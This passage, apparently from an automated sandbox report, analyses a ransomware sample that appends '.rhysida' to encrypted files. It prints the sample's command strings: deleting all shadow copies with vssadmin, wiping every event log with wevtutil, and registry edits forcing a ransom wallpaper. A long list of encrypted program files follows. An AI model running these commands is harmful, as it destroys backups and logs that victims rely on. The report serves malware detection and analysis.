"tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
Source: 5PPbtKZ2hR.exe, 00000000.00000002.4521872220.0000000004D5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\cmd.exe /c cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
Source: vssadmin.exe, 00000011.00000002.4161879858.00000103C3500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\Public\Videos\C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /QuietWinsta0\Defaultw
Source: vssadmin.exe, 00000011.00000002.4161879858.00000103C3500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin.exe Delete Shadows /All /Quiet
Source: vssadmin.exe, 00000011.00000002.4161879858.00000103C3500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin.exe Delete Shadows /All /Quiet3
Source: vssadmin.exe, 00000011.00000002.4162042444.00000103C3765000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin.exeDeleteShadows/All/Quieto#
Source: 5PPbtKZ2hR.exe	Binary or memory string: cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
Source: 5PPbtKZ2hR.exe	Binary or memory string: C:/Windows/Fonts/Arial.ttfC:/Users/Public/bg.jpgcmd.exe /c reg delete "HKCU\Contol Panel\Desktop" /v Wallpaper /fcmd.exe /c reg delete "HKCU\Conttol Panel\Desktop" /v WallpaperStyle /fcmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /fcmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /fcmd.exe /c reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /fcmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /fcmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v WallpaperStyle /t REG_SZ /d 2 /fcmd.exe /c reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /frundll32.exe user32.dll,UpdatePerUserSystemParameters/$Recycle.Bin/Boot/Documents and Settings/PerfLogs/ProgramData/Recovery/System Volume Information/Windows/$RECYCLE.BIN/ApzData.bat.bin.cab.cmd.com.cur.diagcab.diagcfg.diagpkg.drv.dll.exe.hlp.hta.ico.msi.ocx.ps1.psm1.scr.sys.iniThumbs.db.url...rrb+rbaeschc_hash%c:/cmd.exe /c vssadmin.exe Delete Shadows /All /Quietcmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"

May disable shadow drive data (uses vssadmin)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet

Writes many files with high entropy

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\css\main.css.rhysida entropy: 7.99445947703	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_icons_retina.png.rhysida entropy: 7.99387050754	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\uss-search\js\plugin.js.rhysida entropy: 7.99955097052	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons_retina.png.rhysida entropy: 7.99209153856	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\7-Zip\History.txt.rhysida entropy: 7.99670030144	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\7-Zip\7-zip.chm.rhysida entropy: 7.99848744142	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\images\dc_review_upsell_2x.png.rhysida entropy: 7.99145802944	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\images\req_sign_ctip_gif.gif.rhysida entropy: 7.99909237061	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\images\dc_share_upsell_2x.png.rhysida entropy: 7.9906873896	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\faf-main.js.rhysida entropy: 7.99969369863	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\fr-fr\ui-strings.js.rhysida entropy: 7.99011416259	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\progress_spinner2x.gif.rhysida entropy: 7.99561696876	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\ko-kr\ui-strings.js.rhysida entropy: 7.9904187901	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\ja-jp\ui-strings.js.rhysida entropy: 7.99041807498	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_100_percent.pak.rhysida entropy: 7.99971368881	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_200_percent.pak.rhysida entropy: 7.99915258908	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\progress_spinner_dark2x.gif.rhysida entropy: 7.99376126434	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\hi_contrast\core_icons_highcontrast_retina.png.rhysida entropy: 7.99305559873	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\pt-br\ui-strings.js.rhysida entropy: 7.99025927955	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\zh-CN.pak.rhysida entropy: 7.99952553239	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\resources.pak.rhysida entropy: 7.99938387035	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\VisualElements\LogoDev.png.rhysida entropy: 7.99340971248	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\sw.pak.rhysida entropy: 7.99958827377	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\ru-ru\ui-strings.js.rhysida entropy: 7.99231263724	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\zh-TW.pak.rhysida entropy: 7.99957065776	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\VisualElements\LogoCanary.png.rhysida entropy: 7.99318973702	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\tr.pak.rhysida entropy: 7.99963258675	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\uk.pak.rhysida entropy: 7.99976040476	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\initial_preferences.rhysida entropy: 7.99966844805	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\pt-BR.pak.rhysida entropy: 7.99960898311	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\nb.pak.rhysida entropy: 7.99950721388	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\lv.pak.rhysida entropy: 7.99968040812	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\sl.pak.rhysida entropy: 7.9996095677	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\sk.pak.rhysida entropy: 7.9996296031	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\pt-PT.pak.rhysida entropy: 7.99959437779	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\A12_Spinner_int_2x.gif.rhysida entropy: 7.99164880522	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\lt.pak.rhysida entropy: 7.9996337095	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\fr.pak.rhysida entropy: 7.99960532634	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\et.pak.rhysida entropy: 7.99956593937	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\it.pak.rhysida entropy: 7.9995911714	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_bow.png.rhysida entropy: 7.99587993459	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\ind_prog.gif.rhysida entropy: 7.9914445292	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\css\main.css.rhysida entropy: 7.99750200763	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\ms.pak.rhysida entropy: 7.99954988245	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\ja.pak.rhysida entropy: 7.99968900866	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\hr.pak.rhysida entropy: 7.99959330141	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\ar.pak.rhysida entropy: 7.9997824006	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\fil.pak.rhysida entropy: 7.99961429254	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\es.pak.rhysida entropy: 7.99962038424	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\en-GB.pak.rhysida entropy: 7.99951177199	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\cs.pak.rhysida entropy: 7.9996165359	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\hi.pak.rhysida entropy: 7.99982283685	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_150.png.rhysida entropy: 7.99233293797	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Mozilla Firefox\browser\features\formautofill@mozilla.org.xpi.rhysida entropy: 7.99872383416	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\ca.pak.rhysida entropy: 7.99961042951	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_FR\license.html.rhysida entropy: 7.99523018101	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_MA\license.html.rhysida entropy: 7.99438284472	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\he_IL\license.html.rhysida entropy: 7.99616094635	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\el.pak.rhysida entropy: 7.99978617988	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\hu_HU\license.html.rhysida entropy: 7.99488880672	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Mozilla Firefox\browser\features\webcompat@mozilla.org.xpi.rhysida entropy: 7.99953569654	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\it_IT\license.html.rhysida entropy: 7.99428128285	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Locales\am.pak.rhysida entropy: 7.99974812351	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ja_JP\license.html.rhysida entropy: 7.99544572702	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ko_KR\license.html.rhysida entropy: 7.99562828135	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\nb_NO\license.html.rhysida entropy: 7.99434725379	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\nl_NL\license.html.rhysida entropy: 7.99297099343	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\pl_PL\license.html.rhysida entropy: 7.99415406947	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\progress.gif.rhysida entropy: 7.99198382675	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\pt_BR\license.html.rhysida entropy: 7.9938325589	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ru_RU\license.html.rhysida entropy: 7.99656958604	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sk_SK\license.html.rhysida entropy: 7.99419515596	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sl_SI\license.html.rhysida entropy: 7.99410721249	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ca-es\ui-strings.js.rhysida entropy: 7.99352334437	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sv_SE\license.html.rhysida entropy: 7.99448073668	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\tr_TR\license.html.rhysida entropy: 7.99352676924	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\uk_UA\license.html.rhysida entropy: 7.9964810898	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\zh_CN\license.html.rhysida entropy: 7.99168896859	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\zh_TW\license.html.rhysida entropy: 7.99173010012	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\da-dk\ui-strings.js.rhysida entropy: 7.9930533815	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\cs-cz\ui-strings.js.rhysida entropy: 7.99315906458	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\ie\AdobeClean-Light.eot.rhysida entropy: 7.99941898164	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\ie\AdobeClean-Regular.eot.rhysida entropy: 7.99946844306	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\acrobat_pdf.svg.rhysida entropy: 7.99145687512	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\de-de\ui-strings.js.rhysida entropy: 7.99378566426	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\ie\AdobeClean-Bold.eot.rhysida entropy: 7.99934264495	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\PDFSigQFormalRep.pdf.rhysida entropy: 7.99958850866	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\AdobeClean-Bold.woff.rhysida entropy: 7.99864811723	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\AdobeClean-Regular.woff.rhysida entropy: 7.99882270106	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\AdobeClean-Light.woff.rhysida entropy: 7.99882885096	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Accessibility.api.rhysida entropy: 7.99971429898	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\adobepdf.xdc.rhysida entropy: 7.99613733348	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\PMP\AdobePDF417.pmp.rhysida entropy: 7.99822576295	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\PMP\QRCode.pmp.rhysida entropy: 7.99764358857	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\PMP\DataMatrix.pmp.rhysida entropy: 7.99967248447	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\CompareMarkers.pdf.rhysida entropy: 7.9915065399	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\dc-annotations\js\plugin.js.rhysida entropy: 7.99856598186	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\MSRMS.api.rhysida entropy: 7.9998223331	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\eBook.api.rhysida entropy: 7.99756620643	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Updater.api.rhysida entropy: 7.99905494225	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Spelling.api.rhysida entropy: 7.99955007798	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\StorageConnectors.api.rhysida entropy: 7.99973503887	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\drvDX9.x3d.rhysida entropy: 7.99960163997	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\2d.x3d.rhysida entropy: 7.99975475584	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\tesselate.x3d.rhysida entropy: 7.99479919443	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\prc\MyriadCAD.otf.rhysida entropy: 7.99729017717	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Search.api.rhysida entropy: 7.99971525017	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\reflow.api.rhysida entropy: 7.99957291099	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\Microsoft.VCLibs.x86.14.00.appx.rhysida entropy: 7.99965858244	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Multimedia\MPP\WindowsMedia.mpp.rhysida entropy: 7.99916891419	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\3difr.x3d.rhysida entropy: 7.99935440454	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\css\main.css.rhysida entropy: 7.99671259737	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\sv-se\ui-strings.js.rhysida entropy: 7.99016937774	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\uk-ua\ui-strings.js.rhysida entropy: 7.99139060558	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ca-es\ui-strings.js.rhysida entropy: 7.99052959045	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\de-de\ui-strings.js.rhysida entropy: 7.99023290598	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\es-es\ui-strings.js.rhysida entropy: 7.99072988806	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\eu-es\ui-strings.js.rhysida entropy: 7.990974452	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\dc3b5d449449a5103f90189b239c0bf6.png.rhysida entropy: 7.99828315477	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_wob.png.rhysida entropy: 7.9955612607	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\hr-hr\ui-strings.js.rhysida entropy: 7.9904137471	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-editsettings-popups-chunk.js.rhysida entropy: 7.99615851884	Jump to dropped file
